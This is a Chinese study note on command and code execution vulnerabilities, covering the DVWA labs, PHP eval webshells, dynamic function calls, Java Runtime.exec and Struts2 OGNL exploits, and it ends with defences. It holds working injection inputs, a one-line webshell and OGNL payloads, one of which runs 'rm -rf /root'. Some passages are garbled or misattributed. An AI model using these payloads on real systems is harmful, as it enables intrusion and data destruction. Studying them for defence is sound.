概念

命令执行漏洞属于高危漏洞，指攻击者可以随意执行系统命令，它属于代码执行的范畴，不仅存在B/S架构中，也存在于C/S架构中。

分类

OS命令执行

部分Web应用程序提供了一些命令执行的操作，例如，如果想测试 http://www.test.com 是否可以正常连接，那么web应用程序底层就很可能去调用系统操作命令，如果此处没有过滤好用户输入的数据，例如管道连接符，就很有可能形成系统命令执行漏洞。

WINDOWS系统支持的管道符：
“|”：直接执行后面的语句
例如：ping www.baidu.com|whoami

“||”：如果前面执行的语句执行出错，则执行后面的语句。
例如：png www.baidu.com||whoami

“&”：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。
例如：
png www.baidu.com&whoami
ping www.baidu.com&whoami

“&&”：如果前面的语句为真先执行第一个命令后执行第二个命令：
为假则直接出错，也不执行后面的语句。
ping www.baidu.com&&whoami
png www.baidu.com&&whoami

LINUX系统支持的管道符：
“；”执行完前面的命令执行后面的。

ping www.baidu.com;whoami

“|”：显示后面语句的执行结果

“||”：当前面的语句执行出错时，执行后面的语句。

“&”：如果前面的语句为假，则直接指向后面的语句，前面的语句可真可假。

“&&”：如果前面的语句为假则直接出错，也不执行后面的语句。

实验&练习：

本次实验靶机为windows系统：
DVWA& Command Injection-Low

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

从代码中可以看到，程序直接对输入的命令进行拼接执行，未做任何的过滤和处理。

输入IP地址：

127.0.0.1&&whoami

同理，输入其他的管道符，或者使用其他的系统命令都是可以执行的。

127.0.0.1| whoami

DVWA& Command Injection-Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

从代码中可以看出，程序对管道符“&&”和“;”进行了过滤，但是依旧有可以利用的管道符，例如“&”，”|”和“||”

DVWA& Command Injection-High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";

从代码的角度来看，过滤了许多的管道符，看起来无懈可击的样子。但是’| ‘多了个空格，这就导致了问题的产生：

脚本命令执行

任何脚本语言都可以调用操作系统命令，而各个脚本语言的实现方式都不一样。
区别： 命令执行漏洞是直接调用操作系统命令 代码执行漏洞则是靠执行脚本代码调用操作系统命令。

PHP命令执行

PHP 提供了部分函数用来执行外部应用程序，例如: system()、 shell_ exec)、 exec()和passthru()。

示例1：命令执行

<?php $host = $argv[1]; system("ping ".$host); //执行ping命令 ?>

使用PHP.EXE 执行此文件，命令为：“php.exe ceshi.php www.baidu.com”，PHP 将会调用系统ping命令，并将结果显示出来。攻击者则可能输入“php.exe ceshi.php www.baidu.com|whoami”。

注:使用PHP.EXE传递参数时，如果有空格，一般在Windows 下使用双引号(“”)， Linux 下使用单引号(’)括起来，否则将无法正常执行。

示例2：代码执行

PHP中提供了一个叫做eval()的函数，如一句话木马就是使用了这个函数， eval()函数可以把字符串按照PHP代码来执行，就是可以动态执行PHP代码。

<?php eval($_REQUEST['code'])?>

保存为ceshi.php后，上传至网站目录下，即可执行系统命令，且可获得webshell:

示例3：动态函数调用

<?php
  function A(){
    return "A()函数..";
  }
  function B(){
    return "B()函数..";
  }
  $fun = $_REQUEST['fun'];
  echo $fun();  //动态调用函数
?>

PHP 解析器可以根据f u n 的 值 来 调 用 对 应 的 函 数 ， 当 变 量 fun 的值来调用对应的函数，当变量fun的值来调用对应的函数，当变量fun的值为“A”时，那么$fun()对应的函数为A()，虽然这样给开发带来了极大的便利，但却存在安全隐患.
例如：http://10.1.8.8/ceshi.php?fun=phpinfo

当f u n 值 为 p h p i n f o 时 ， fun 值为phpinfo 时，fun值为phpinfo时，fun() 所对应的函数即为phpinfo();

可能有些读者会认为最多能执行一个phpinfo(),并没有太多影响，这样的想法是错误的。
例如:程序员还想给函数传递参数，代码可能如下:

<?php
  function A(){
    return "A()函数..";
  }
  function B(){
    return "B()函数..";
  }
  $fun = $_GET['fun'];
  $par = $_GET['par'];
  $fun($par);  //执行函数，并且使用参数
?>

当用户访问http://10.1.8.8/ceshi.php?fun=system&par=whoami,最终执行的就是：system(“whoami”)命令：

示例四：PHP函数代码执行漏洞
在PHP中，代码执行漏洞出现较多，像preg_replace()、ob_start()、array _map() 等函数都存在代码执行的问题，在此以array_map() 函数为例说明，代码如下:

<?php
  $arr = $_GET['arr'];
  $array = array(1,2,3,4,5);
  $new_array = array_map($arr, $array) ;
?>

array_map() 函数的作用是返回用户自定义函数处理后的数组，现在输入URL：
httpp://10.1.8.8/ceshi.php?arr=phpinfo 后，发现phpinfo 代码也会被执行。

关于PHP更多的危险函数，读者可参阅《高级PHP应用程序漏洞审核技术》一书。

Java 命令执行

这里之所以叫作Java 命令执行，是因为Java 体系非常庞大，其中包括：Java SE、Java EE、Java ME。而无论是分支还是框架，都是以Java SE 为基础的。

Java EE 之前被称为J2EE，Java EE 是在Java SE 的基础上构建的，它提供Web服务、组件模型、管理和通信API，可以用来实现企业级的面向服务体系结构（service-oriented architecture，SOA）和Web 2.0应用程序开发。

在Java SE 中，存在Runtime 类，在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法（或者使用ProcessBuilder类，但较少）。下面以 Runtime类为例进行说明，模型代码如下:

import java. io.InputStream;  //导包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
  public static void main (String args []) throws Exception{
    if (args.length==0) {
      System.exit(1);  //没有参数就退出
    }
    String command = args[0];
    Runtime run = Runtime.getRuntime();
    Process pro = run. exec(command);  //执行命令
    InputStreamReader in = new InputStreamReader(pro.getInputStream());
    BufferedReader buff = new BufferedReader(in);
    for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
      System.out.println(temp);  //输出结果
    }
  buff .close();
  in.close();
  }
}
1

上面的代码经过编译后可以执行命令操作，如： java RuntimeTest “whoami”，执行命令操作。

如果程序开发人员没有正确地使用Runtime 类，就有可能造成Java 命令执行漏洞。像有名的Struts2 框架就存在命令执行漏洞，在稍后的章节中会讲述。

还有非常多的JSP 木马，也都会使用Runtime.getRuntime().exec()来执行系统命令。

框架执行漏洞

至今，框架技术已经被广泛应用，越来越多的开发者喜欢使用框架。框架让开发变得更简单、更省时、更高效，甚至有些甲方公司在把项目交给乙方公司开发时，会明确要求乙方使用指定的框架技术，比如，有名的Java 三大框架（Hibernate、 Spring 和Struts ）。

使用框架是好事还是坏事？对开发者来说是好的，但是一旦出现了安全漏洞，则是致命的。框架的用户群体越多，危害就越大。像之前Struts2 爆出的代码执行漏洞，就让国内的网站消失了一大批。

Struts2 代码执行漏洞

Struts 是一个优秀的MVC 框架，被称为Java 的三大框架之一，你可以想象使用Struts 的用户有多少，但Struts的第二个版本却爆发了多次致命的命令执行漏洞。所有使用Struts2开发的应用程序几乎都受到了影响。

Struts1 最初是独立的MVC 框架，但是Struts2 改写了Struts1 的核心技术，换了一个新的面貌，在底层采用了XWORK 的核心。

XWORK 也是一个MVC 框架，是Struts1 的强力竞争对手，Struts1 推广业务做得好，用户量要比XWORK 多许多，但是从技术角度看、框架结构却没有XWORK 做得好，而Strdent2 是
在Struts1 和XWORK 技术基础上进行了合并，Struts2 与Struts1可以说相差非常大，算是一个全新的框架。

Struts2 的每个版本都有相应的漏洞补丁，可以在其官方网站http://trutsapachec.org/看到。其中有几个比较知名的高危漏洞都是Struts2 的代码执行漏洞。

在2010年7月初，exploit-db 网站爆出了一个Struts2 的命令执行漏洞，漏洞名称为：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability，下 面是关于Struts2命令执行的简单介绍。

Struts2 的核心是使用的webwork（XWORK的核心）框架，处理action 时通过调用底层Java Bean 的gter/setter 方法来处理http 参数，它将每个http 参数声明为一个ONGL 语句。当我们提交如下http 参数时：

?user.address.city=bj&user[‘name’]=admin
ONGL将它转换为:

0bj.getUser().getAddress().setCity=“bj”;
0bj.getUser().setName= “admin”;
这个过程就是用ParametersInterceptor 拦截器调用ValueStack.setValue() 来完成的，并且其参数是可控的。

XWORK 也有自己的保护机制，比如，为了防范篡改服务器端对象，XWork 的ParametersInterceptor 拦截器不允许参数名中出现“#”字符，但如果使用了Java 的unicode 字符串表示 (\u0023)，攻击者就可以绕过保护：

?(’\u0023_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’\u0023context[\ ‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023foo’) (\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((’\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后的值如下：

?(’#_memberAccess[‘allowStaticMethodAccess’]’) (meh) =true& (aaa) ((’#context[\ ‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((’#rt.exit(1)’)(#rt\u003d@java.lang.Runtime@getRuntime()))=1

OGNL 处理时最终的结果就是：

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行如下语句：

java.lang.Runtime.getRuntime().exec(“net user”);
java.lang.Runtime.getRuntime().exec(“rm -rf /root”);

这就是Struts2<2.2.0的命令执行漏洞，让国内外的一些金融、教育、电子商城网站“死”了一大批，罪魁祸首并不是网站自身的漏洞，而是Struts2。

Struts2 在漏洞处理方面是比较及时的，但从漏洞修复来说，却没有完全处理完毕，Struts2 只修复表面的漏洞，核心问题并没有完全解决，所以导致了后续一系列的执行漏洞。比如：、 标签的执行漏洞，这些执行漏洞只有在使用该标签时才会引发。

在2013年6月, Struts2又大规模地爆发了执行漏洞，这次漏洞出现在DefaultActionMapper 类中，影响版本为: Struts 2.0.0~Struts 2.3.15。

一个简单的代码执行语句如下：

http://host/struts2-blank/example/X.action?action:%25{3*4}
访问以上URL，Struts2 将会执行34 表达式，如果将34 表达式换成以下语句，则会形成致命的代码执行漏洞：

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,‘goes’,‘here’})).start()}
目前ThinkPHP 已经修补了此漏洞。

命令执行漏洞防御

了解了代码的执行原理后，对其防范就比较简单了，根据语言的相似点，可以得到以下总结。

尽量不要使用系统执行命令;

在进入执行命令函数/方法之前，变量一定要做好过滤，对敏感字符进行转义;

在使用动态函数之前，确保使用的函数是指定的函数之一;

对PHP语言来说，不能完全控制的危险函数最好不要使用。

在进行防范之前，确保输入是否可控，如果外部不可输入，代码只有程序开发人员可以控制，这样，即使你写的代码漏洞百出，也不会有危害。这一点适用于所有的安全漏洞防范。当然，并不建议你这么做，隐藏起来并不是真的安全，要永远假定攻击者知晓系统内情，这样才能真正做到代码阶段的漏洞防范。

本文章为命令执行漏洞学习手记，参照《web安全深度剖析》书籍。